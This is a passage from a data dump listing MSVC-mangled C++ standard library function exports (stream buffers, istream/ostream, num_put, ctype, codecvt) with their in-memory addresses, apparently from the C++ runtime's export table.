'?in@?$codecvt@_WDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEBD1AEAPEBDPEA_W3AEAPEA_W@Z', 'address': '0x7ffb3bb0f5e0'}, {'type': 'function', 'name': '?in_avail@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JXZ', 'address': '0x7ffb3bb51bc0'}, {'type': 'function', 'name': '?in_avail@?$basic_streambuf@GU?$char_traits@G@std@@@std@@QEAA_JXZ', 'address': '0x7ffb3bb51bc0'}, {'type': 'function', 'name': '?in_avail@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAA_JXZ', 'address': '0x7ffb3bb51bc0'}, {'type': 'function', 'name': '?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IEAAXPEAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z', 'address': '0x7ffb3bb06d00'}, {'type': 'function', 'name': '?init@?$basic_ios@GU?$char_traits@G@std@@@std@@IEAAXPEAV?$basic_streambuf@GU?$char_traits@G@std@@@2@_N@Z', 'address': '0x7ffb3bb06f90'}, {'type': 'function', 'name': '?init@?$basic_ios@_WU?$char_traits@_W@std@@@std@@IEAAXPEAV?$basic_streambuf@_WU?$char_traits@_W@std@@@2@_N@Z', 'address': '0x7ffb3bb06e90'}, {'type': 'function', 'name': '?intl@?$moneypunct@D$00@std@@2_NB', 'address': '0x7ffb3bb63479'}, {'type': 'function', 'name': '?intl@?$moneypunct@D$0A@@std@@2_NB', 'address': '0x7ffb3bb63478'}, {'type': 'function', 'name': '?intl@?$moneypunct@G$00@std@@2_NB', 'address': '0x7ffb3bb63479'}, {'type': 'function', 'name': '?intl@?$moneypunct@G$0A@@std@@2_NB', 'address': '0x7ffb3bb63478'}, {'type': 'function', 'name': '?intl@?$moneypunct@_W$00@std@@2_NB', 'address': '0x7ffb3bb63479'}, {'type': 'function', 'name': '?intl@?$moneypunct@_W$0A@@std@@2_NB', 'address': '0x7ffb3bb63478'}, {'type': 'function', 'name': '?ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAA_N_N@Z', 'address': '0x7ffb3bb51bf0'}, {'type': 'function', 'name': '?ipfx@?$basic_istream@GU?$char_traits@G@std@@@std@@QEAA_N_N@Z', 'address': '0x7ffb3bb51c00'}, {'type': 'function', 'name': '?ipfx@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QEAA_N_N@Z', 'address': '0x7ffb3bb51c10'}, {'type': 'function', 'name': '?is@?$ctype@D@std@@QEBAPEBDPEBD0PEAF@Z', 'address': '0x7ffb3bb28490'}, {'type': 'function', 'name': '?is@?$ctype@D@std@@QEBA_NFD@Z', 'address': '0x7ffb3bb12610'}, {'type': 'function', 'name': '?is@?$ctype@G@std@@QEBAPEBGPEBG0PEAF@Z', 'address': '0x7ffb3bb284e0'}, {'type': 'function', 'name': '?is@?$ctype@G@std@@QEBA_NFG@Z', 'address': '0x7ffb3bb0fc90'}, {'type': 'function', 'name': '?is@?$ctype@_W@std@@QEBAPEB_WPEB_W0PEAF@Z', 'address': '0x7ffb3bb284e0'}, {'type': 'function', 'name': '?is@?$ctype@_W@std@@QEBA_NF_W@Z', 'address': '0x7ffb3bb0fc90'}, {'type': 'function', 'name': '?isfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAXXZ', 'address': '0x7ffb3bb081f0'}, {'type': 'function', 'name': '?isfx@?$basic_istream@GU?$char_traits@G@std@@@std@@QEAAXXZ', 'address': '0x7ffb3bb081f0'}, {'type': 'function', 'name': '?isfx@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ', 'address': '0x7ffb3bb081f0'}, {'type': 'function', 'name': '?iword@ios_base@std@@QEAAAEAJH@Z', 'address': '0x7ffb3bb28500'}, {'type': 'function', 'name': '?length@?$codecvt@DDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEBD1_K@Z', 'address': '0x7ffb3bb28520'}, {'type': 'function', 'name': '?length@?$codecvt@GDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEBD1_K@Z', 'address': '0x7ffb3bb28520'}, {'type': 'function', 'name': '?length@?$codecvt@_SDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEBD1_K@Z', 'address': '0x7ffb3bb28520'}, {'type': 'function', 'name': '?length@?$codecvt@_UDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEBD1_K@Z', 'address': '0x7ffb3bb28520'}, {'type': 'function', 'name': '?length@?$codecvt@_WDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEBD1_K@Z', 'address': '0x7ffb3bb28520'}, {'type': 'function', 'name': '?max_length@codecvt_base@std@@QEBAHXZ', 'address': '0x7ffb3bb0fc90'}, {'type': 'function', 'name': '?move@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAX$$QEAV12@@Z', 'address': '0x7ffb3bb51c20'}, {'type': 'function', 'name': '?move@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXAEAV12@@Z', 'address': '0x7ffb3bb51c20'}, {'type': 'function', 'name': '?move@?$basic_ios@GU?$char_traits@G@std@@@std@@QEAAX$$QEAV12@@Z', 'address': '0x7ffb3bb51c50'}, {'type': 'function', 'name': '?move@?$basic_ios@GU?$char_traits@G@std@@@std@@QEAAXAEAV12@@Z', 'address': '0x7ffb3bb51c50'}, {'type': 'function', 'name': '?move@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAX$$QEAV12@@Z', 'address': '0x7ffb3bb51c50'}, {'type': 'function', 'name': '?move@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXAEAV12@@Z', 'address': '0x7ffb3bb51c50'}, {'type': 'function', 'name': '?narrow@?$basic_ios@DU?$char_traits@D@std@@@std@@QEBADDD@Z', 'address': '0x7ffb3bb51c80'}, {'type': 'function', 'name': '?narrow@?$basic_ios@GU?$char_traits@G@std@@@std@@QEBADGD@Z', 'address': '0x7ffb3bb51d10'}, {'type': 'function', 'name': '?narrow@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEBAD_WD@Z', 'address': '0x7ffb3bb51da0'}, {'type': 'function', 'name': '?narrow@?$ctype@D@std@@QEBADDD@Z', 'address': '0x7ffb3bb28610'}, {'type': 'function', 'name': '?narrow@?$ctype@D@std@@QEBAPEBDPEBD0DPEAD@Z', 'address': '0x7ffb3bb28520'}, {'type': 'function', 'name': '?narrow@?$ctype@G@std@@QEBADGD@Z', 'address': '0x7ffb3bb28630'}, {'type': 'function', 'name': '?narrow@?$ctype@G@std@@QEBAPEBGPEBG0DPEAD@Z', 'address': '0x7ffb3bb28650'}, {'type': 'function', 'name': '?narrow@?$ctype@_W@std@@QEBAD_WD@Z', 'address': '0x7ffb3bb28630'}, {'type': 'function', 'name': '?narrow@?$ctype@_W@std@@QEBAPEB_WPEB_W0DPEAD@Z', 'address': '0x7ffb3bb28650'}, {'type': 'function', 'name': '?opfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAA_NXZ', 'address': '0x7ffb3bb51e30'}, {'type': 'function', 'name': '?opfx@?$basic_ostream@GU?$char_traits@G@std@@@std@@QEAA_NXZ', 'address': '0x7ffb3bb51e30'}, {'type': 'function', 'name': '?opfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAA_NXZ', 'address': '0x7ffb3bb51e80'}, {'type': 'function', 'name': '?osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAXXZ', 'address': '0x7ffb3bb51ed0'}, {'type': 'function', 'name': '?osfx@?$basic_ostream@GU?$char_traits@G@std@@@std@@QEAAXXZ', 'address': '0x7ffb3bb51ed0'}, {'type': 'function', 'name': '?osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ', 'address': '0x7ffb3bb51ee0'}, {'type': 'function', 'name': '?out@?$codecvt@DDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEBD1AEAPEBDPEAD3AEAPEAD@Z', 'address': '0x7ffb3bb0f640'}, {'type': 'function', 'name': '?out@?$codecvt@GDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEBG1AEAPEBGPEAD3AEAPEAD@Z', 'address': '0x7ffb3bb0f640'}, {'type': 'function', 'name': '?out@?$codecvt@_SDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEB_S1AEAPEB_SPEAD3AEAPEAD@Z', 'address': '0x7ffb3bb0f640'}, {'type': 'function', 'name': '?out@?$codecvt@_UDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEB_U1AEAPEB_UPEAD3AEAPEAD@Z', 'address': '0x7ffb3bb0f640'}, {'type': 'function', 'name': '?out@?$codecvt@_WDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEB_W1AEAPEB_WPEAD3AEAPEAD@Z', 'address': '0x7ffb3bb0f640'}, {'type': 'function', 'name': '?overflow@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAAHH@Z', 'address': '0x7ffb3bb10d00'}, {'type': 'function', 'name': '?overflow@?$basic_streambuf@GU?$char_traits@G@std@@@std@@MEAAGG@Z', 'address': '0x7ffb3bb43d40'}, {'type': 'function', 'name': '?overflow@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@MEAAGG@Z', 'address': '0x7ffb3bb43d40'}, {'type': 'function', 'name': '?pbackfail@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAAHH@Z', 'address': '0x7ffb3bb10d00'}, {'type': 'function', 'name': '?pbackfail@?$basic_streambuf@GU?$char_traits@G@std@@@std@@MEAAGG@Z', 'address': '0x7ffb3bb43d40'}, {'type': 'function', 'name': '?pbackfail@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@MEAAGG@Z', 'address': '0x7ffb3bb43d40'}, {'type': 'function', 'name': '?pbase@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEBAPEADXZ', 'address': '0x7ffb3bb106f0'}, {'type': 'function', 'name': '?pbase@?$basic_streambuf@GU?$char_traits@G@std@@@std@@IEBAPEAGXZ', 'address': '0x7ffb3bb106f0'}, {'type': 'function', 'name': '?pbase@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@IEBAPEA_WXZ', 'address': '0x7ffb3bb106f0'}, {'type': 'function', 'name': '?pbump@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXH@Z', 'address': '0x7ffb3bb44b50'}, {'type': 'function', 'name': '?pbump@?$basic_streambuf@GU?$char_traits@G@std@@@std@@IEAAXH@Z', 'address': '0x7ffb3bb43e00'}, {'type': 'function', 'name': '?pbump@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@IEAAXH@Z', 'address': '0x7ffb3bb43e00'}, {'type': 'function', 'name': '?peek@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAHXZ', 'address': '0x7ffb3bb51ef0'}, {'type': 'function', 'name': '?peek@?$basic_istream@GU?$char_traits@G@std@@@std@@QEAAGXZ', 'address': '0x7ffb3bb52020'}, {'type': 'function', 'name': '?peek@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QEAAGXZ', 'address': '0x7ffb3bb52160'}, {'type': 'function', 'name': '?pptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEBAPEADXZ', 'address': '0x7ffb3bb10210'}, {'type': 'function', 'name': '?pptr@?$basic_streambuf@GU?$char_traits@G@std@@@std@@IEBAPEAGXZ', 'address': '0x7ffb3bb10210'}, {'type': 'function', 'name': '?pptr@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@IEBAPEA_WXZ', 'address': '0x7ffb3bb10210'}, {'type': 'function', 'name': '?precision@ios_base@std@@QEAA_J_J@Z', 'address': '0x7ffb3bb02e00'}, {'type': 'function', 'name': '?precision@ios_base@std@@QEBA_JXZ', 'address': '0x7ffb3bb28680'}, {'type': 'function', 'name': '?pubimbue@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA?AVlocale@2@AEBV32@@Z', 'address': '0x7ffb3bb02330'}, {'type': 'function', 'name': '?pubimbue@?$basic_streambuf@GU?$char_traits@G@std@@@std@@QEAA?AVlocale@2@AEBV32@@Z', 'address': '0x7ffb3bb522b0'}, {'type': 'function', 'name': '?pubimbue@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAA?AVlocale@2@AEBV32@@Z', 'address': '0x7ffb3bb522b0'}, {'type': 'function', 'name': '?pubseekoff@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA?AV?$fpos@U_Mbstatet@@@2@_JHH@Z', 'address': '0x7ffb3bb52360'}, {'type': 'function', 'name': '?pubseekoff@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA?AV?$fpos@U_Mbstatet@@@2@_JII@Z', 'address': '0x7ffb3bb52360'}, {'type': 'function', 'name': '?pubseekoff@?$basic_streambuf@GU?$char_traits@G@std@@@std@@QEAA?AV?$fpos@U_Mbstatet@@@2@_JHH@Z', 'address': '0x7ffb3bb52360'}, {'type': 'function', 'name': '?pubseekoff@?$basic_streambuf@GU?$char_traits@G@std@@@std@@QEAA?AV?$fpos@U_Mbstatet@@@2@_JII@Z', 'address': '0x7ffb3bb52360'}, {'type': 'function', 'name': '?pubseekoff@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAA?AV?$fpos@U_Mbstatet@@@2@_JHH@Z', 'address': '0x7ffb3bb52360'}, {'type': 'function', 'name': '?pubseekoff@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAA?AV?$fpos@U_Mbstatet@@@2@_JII@Z', 'address': '0x7ffb3bb52360'}, {'type': 'function', 'name': '?pubseekpos@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA?AV?$fpos@U_Mbstatet@@@2@V32@H@Z', 'address': '0x7ffb3bb52390'}, {'type': 'function', 'name': '?pubseekpos@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA?AV?$fpos@U_Mbstatet@@@2@V32@I@Z', 'address': '0x7ffb3bb52390'}, {'type': 'function', 'name': '?pubseekpos@?$basic_streambuf@GU?$char_traits@G@std@@@std@@QEAA?AV?$fpos@U_Mbstatet@@@2@V32@H@Z', 'address': '0x7ffb3bb52390'}, {'type': 'function', 'name': '?pubseekpos@?$basic_streambuf@GU?$char_traits@G@std@@@std@@QEAA?AV?$fpos@U_Mbstatet@@@2@V32@I@Z', 'address': '0x7ffb3bb52390'}, {'type': 'function', 'name': '?pubseekpos@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAA?AV?$fpos@U_Mbstatet@@@2@V32@H@Z', 'address': '0x7ffb3bb52390'}, {'type': 'function', 'name': '?pubseekpos@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAA?AV?$fpos@U_Mbstatet@@@2@V32@I@Z', 'address': '0x7ffb3bb52390'}, {'type': 'function', 'name': '?pubsetbuf@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAPEAV12@PEAD_J@Z', 'address': '0x7ffb3bb14c80'}, {'type': 'function', 'name': '?pubsetbuf@?$basic_streambuf@GU?$char_traits@G@std@@@std@@QEAAPEAV12@PEAG_J@Z', 'address': '0x7ffb3bb14c80'}, {'type': 'function', 'name': '?pubsetbuf@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAAPEAV12@PEA_W_J@Z', 'address': '0x7ffb3bb14c80'}, {'type': 'function', 'name': '?pubsync@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHXZ', 'address': '0x7ffb3bb2c880'}, {'type': 'function', 'name': '?pubsync@?$basic_streambuf@GU?$char_traits@G@std@@@std@@QEAAHXZ', 'address': '0x7ffb3bb2c880'}, {'type': 'function', 'name': '?pubsync@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAAHXZ', 'address': '0x7ffb3bb2c880'}, {'type': 'function', 'name': '?put@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@D@Z', 'address': '0x7ffb3bb02cf0'}, {'type': 'function', 'name': '?put@?$basic_ostream@GU?$char_traits@G@std@@@std@@QEAAAEAV12@G@Z', 'address': '0x7ffb3bb14ca0'}, {'type': 'function', 'name': '?put@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@_W@Z', 'address': '0x7ffb3bb523d0'}, {'type': 'function', 'name': '?put@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@QEBA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@AEAVios_base@2@DJ@Z', 'address': '0x7ffb3bb028a0'}, {'type': 'function', 'name': '?put@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@QEBA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@AEAVios_base@2@DK@Z', 'address': '0x7ffb3bb03b10'}, {'type': 'function', 'name': '?put@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@QEBA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@AEAVios_base@2@DN@Z', 'address': '0x7ffb3bb04350'}, {'type': 'function', 'name': '?put@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@QEBA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@AEAVios_base@2@DO@Z', 'address': '0x7ffb3bb524f0'}, {'type': 'function', 'name': '?put@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@QEBA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@AEAVios_base@2@DPEBX@Z', 'address': '0x7ffb3bb52540'}, {'type': 'function', 'name': '?put@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@QEBA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@AEAVios_base@2@D_J@Z', 'address': '0x7ffb3bb52590'}, {'type': 'function', 'name': '?put@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@QEBA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@AEAVios_base@2@D_K@Z', 'address': '0x7ffb3bb137a0'}, {'type': 'function', 'name': '?put@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@QEBA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@AEAVios_base@2@D_N@Z', 'address': '0x7ffb3bb525e0'}, {'type': 'function', 'name': '?put@?$num_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@QEBA?AV?$ostreambuf_iterator@GU?$char_traits@G@std@@@2@V32@AEAVios_base@2@GJ@Z', 'address': '0x7ffb3bb032b0'}, {'type': 'function', 'name': '?put@?$num_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@QEBA?AV?$ostreambuf_iterator@GU?$char_traits@G@std@@@2@V32@AEAVios_base@2@GK@Z', 'address': '0x7ffb3bb039b0'}, {'type': 'function', 'name': '?put@?$num_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@QEBA?AV?$ostreambuf_iterator@GU?$char_traits@G@std@@@2@V32@AEAVios_base@2@GN@Z', 'address': '0x7ffb3bb52630'}, {'type': 'function', 'name': '?put@?$num_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@QEBA?AV?$ostreambuf_iterator@GU?$char_traits@G@std@@@2@V32@AEAVios_base@2@GO@Z', 'address': '0x7ffb3bb52690'}, {'type': 'function', 'name': '?put@?$num_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@QEBA?AV?$ostreambuf_iterator@GU?$char_traits@G@std@@@2@V32@AEAVios_base@2@GPEBX@Z', 'address': '0x7ffb3bb526f0'}, {'type': 'function', 'name': '?put@?$num_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@QEBA?AV?$ostreambuf_iterator@GU?$char_traits@G@std@@@2@V32@AEAVios_base@2@G_J@Z', 'address': '0x7ffb3bb14e40'}, {'type': 'function', 'name': '?put@?$num_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@QEBA?AV?$ostreambuf_iterator@GU?$char_traits@G@std@@@2@V32@AEAVios_base@2@G_K@Z', 'address': '0x7ffb3bb52740'}, {'type': 'function', 'name': '?put@?$num_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@QEBA?AV?$ostreambuf_iterator@GU?$char_traits@G@std@@@2@V32@AEAVios_base@2@G_N@Z', 'address': '0x7ffb3bb52790'}, {'type': 'function', 'name': '?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QEBA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AEAVios_base@2@_WJ@Z', 'address': '0x7ffb3bb032b0'}, {'type': 'function', 'name': '?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QEBA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AEAVios_base@2@_WK@Z', 'address': '0x7ffb3bb039b0'}, {'type': 'function', 'name': '?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QEBA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AEAVios_base@2@_WN@Z', 'address': '0x7ffb3bb52630'}, {'type': 'function', 'name': '?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QEBA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AEAVios_base@2@_WO@Z', 'address': '0x7ffb3bb52690'}, {'type': 'function', 'name': '?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QEBA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AEAVios_base@2@_WPEBX@Z', 'address': '0x7ffb3bb526f0'}, {'type': 'function', 'name': '?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QEBA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AEAVios_base@2@_W_J@Z', 'address': '0x7ffb3bb14e40'}, {'type': 'function', 'name': '?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QEBA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AEAVios_base@2@_W_K@Z', 'address': '0x7ffb3bb52740'}, {'type': 'function', 'name': '?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QEBA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AEAVios_base@2@_W_N@Z', 'address': '0x7ffb3bb52790'}, {'type': 'function', 'name': '?put@?$time_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@QEBA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@AEAVios_base@2@DPEBUtm@@DD@Z', 'address': '0x7ffb3bb527e0'}, {'type': 'function', 'name': '?put@?$time_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@QEBA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@AEAVios_base@2@DPEBUtm@@PEBD3@Z', 'address': '0x7ffb3bb52850'}, {'type': 'function', 'name': '?put@?$time_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@QEBA?AV?$ostreambuf_iterator@GU?$char_traits@G@std@@@2@V32@AEAVios_base@2@GPEBUtm@@DD@Z', 'address': '0x7ffb3bb52a30'}, {'type': 'function', 'name': '?put@?$time_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@QEBA?AV?$ostreambuf_iterator@GU?$char_traits@G@std@@@2@V32@AEAVios_base@2@GPEBUtm@@PEBG3@Z', 'address': '0x7ffb3bb13f00'}, {'type': 'function', 'name': '?put@?$time_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QEBA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AEAVios_base@2@_WPEBUtm@@DD@Z', 'address': '0x7ffb3bb52a30'}, {'type': 'function', 'name': '?put@?$time_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QEBA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AEAVios_base@2@_WPEBUtm@@PEB_W4@Z', 'address': '0x7ffb3bb52aa0'}, {'type': 'function', 'name': '?putback@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@D@Z', 'address': '0x7ffb3bb52c90'}, {'type': 'function', 'name': '?putback@?$basic_istream@GU?$char_traits@G@std@@@std@@QEAAAEAV12@G@Z', 'address': '0x7ffb3bb52de0'}, {'type': 'function', 'name': '?putback@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@_W@Z', 'address': '0x7ffb3bb52f30'}, {'type': 'function', 'name': '?pword@ios_base@std@@QEAAAEAPEAXH@Z', 'address': '0x7ffb3bb286d0'}, {'type': 'function', 'name': '?rdbuf@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAPEAV?$basic_streambuf@DU?$char_traits@D@std@@@2@PEAV32@@Z', 'address': '0x7ffb3bb53080'}, {'type': 'function', 'name': '?rdbuf@?$basic_ios@DU?$char_traits@D@std@@@std@@QEBAPEAV?$basic_streambuf@DU?$char_traits@D@std@@@2@XZ', 'address': '0x7ffb3bb0fb80'}, {'type': 'function', 'name': '?rdbuf@?$basic_ios@GU?$char_traits@G@std@@@std@@QEAAPEAV?$basic_streambuf@GU?$char_traits@G@std@@@2@PEAV32@@Z', 'address': '0x7ffb3bb53080'}, {'type': 'function', 'name': '?rdbuf@?$basic_ios@GU?$char_traits@G@std@@@std@@QEBAPEAV?$basic_streambuf@GU?$char_traits@G@std@@@2@XZ', 'address': '0x7ffb3bb0fb80'}, {'type': 'function', 'name': '?rdbuf@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAPEAV?$basic_streambuf@_WU?$char_traits@_W@std@@@2@PEAV32@@Z', 'address': '0x7ffb3bb53080'}, {'type': 'function', 'name': '?rdbuf@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEBAPEAV?$basic_streambuf@_WU?$char_traits@_W@std@@@2@XZ', 'address': '0x7ffb3bb0fb80'}, {'type': 'function', 'name': '?rdstate@ios_base@std@@QEBAHXZ', 'address': '0x7ffb3bb286f0'}, {'type': 'function', 'name': '?read@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@PEAD_J@Z', 'address': '0x7ffb3bb03140'}, {'type': 'function', 'name': '?read@?$basic_istream@GU?$char_traits@G@std@@@std@@QEAAAEAV12@PEAG_J@Z', 'address': '0x7ffb3bb530b0'}, {'type': 'function', 'name': '?read@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@PEA_W_J@Z', 'address': '0x7ffb3bb531f0'}, {'type': 'function', 'name': '?readsome@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAA_JPEAD_J@Z', 'address': '0x7ffb3bb53330'}, {'type': 'function', 'name': '?readsome@?$basic_istream@GU?$char_traits@G@std@@@std@@QEAA_JPEAG_J@Z', 'address': '0x7ffb3bb53420'}, {'type': 'function', 'name': '?readsome@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QEAA_JPEA_W_J@Z', 'address': '0x7ffb3bb53510'}, {'type': 'function', 'name': '?register_callback@ios_base@std@@QEAAXP6AXW4event@12@AEAV12@H@ZH@Z', 'address': '0x7ffb3bb28700'}, {'type': 'function', 'name': '?resetiosflags@std@@YA?AU?$_Smanip@H@1@H@Z', 'address': '0x7ffb3bb29800'}, {'type': 'function', 'name': '?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHXZ', 'address': '0x7ffb3bb04db0'}, {'type': 'function', 'name': '?sbumpc@?$basic_streambuf@GU?$char_traits@G@std@@@std@@QEAAGXZ', 'address': '0x7ffb3bb11b60'}, {'type': 'function', 'name': '?sbumpc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAAGXZ', 'address': '0x7ffb3bb03060'}, {'type': 'function', 'name': '?scan_is@?$ctype@D@std@@QEBAPEBDFPEBD0@Z', 'address': '0x7ffb3bb28750'}, {'type': 'function', 'name': '?scan_is@?$ctype@G@std@@QEBAPEBGFPEBG0@Z', 'address': '0x7ffb3bb28780'}, {'type': 'function', 'name': '?scan_is@?$ctype@_W@std@@QEBAPEB_WFPEB_W0@Z', 'address': '0x7ffb3bb28780'}, {'type': 'function', 'name': '?scan_not@?$ctype@D@std@@QEBAPEBDFPEBD0@Z', 'address': '0x7ffb3bb287a0'}, {'type': 'function', 'name': '?scan_not@?$ctype@G@std@@QEBAPEBGFPEBG0@Z', 'address': '0x7ffb3bb287d0'}, {'type': 'function', 'name': '?scan_not@?$ctype@_W@std@@QEBAPEB_WFPEB_W0@Z', 'address': '0x7ffb3bb287d0'}, {'type': 'function', 'name': '?seekg@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@V?$fpos@U_Mbstatet@@@2@@Z', 'address': '0x7ffb3bb53610'}, {'type': 'function', 'name': '?seekg@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@_JH@Z', 'address': '0x7ffb3bb036d0'}, {'type': 'function', 'name': '?seekg@?$basic_istream@GU?$char_traits@G@std@@@std@@QEAAAEAV12@V?$fpos@U_Mbstatet@@@2@@Z', 'address': '0x7ffb3bb53710'}, {'type': 'function', 'name': 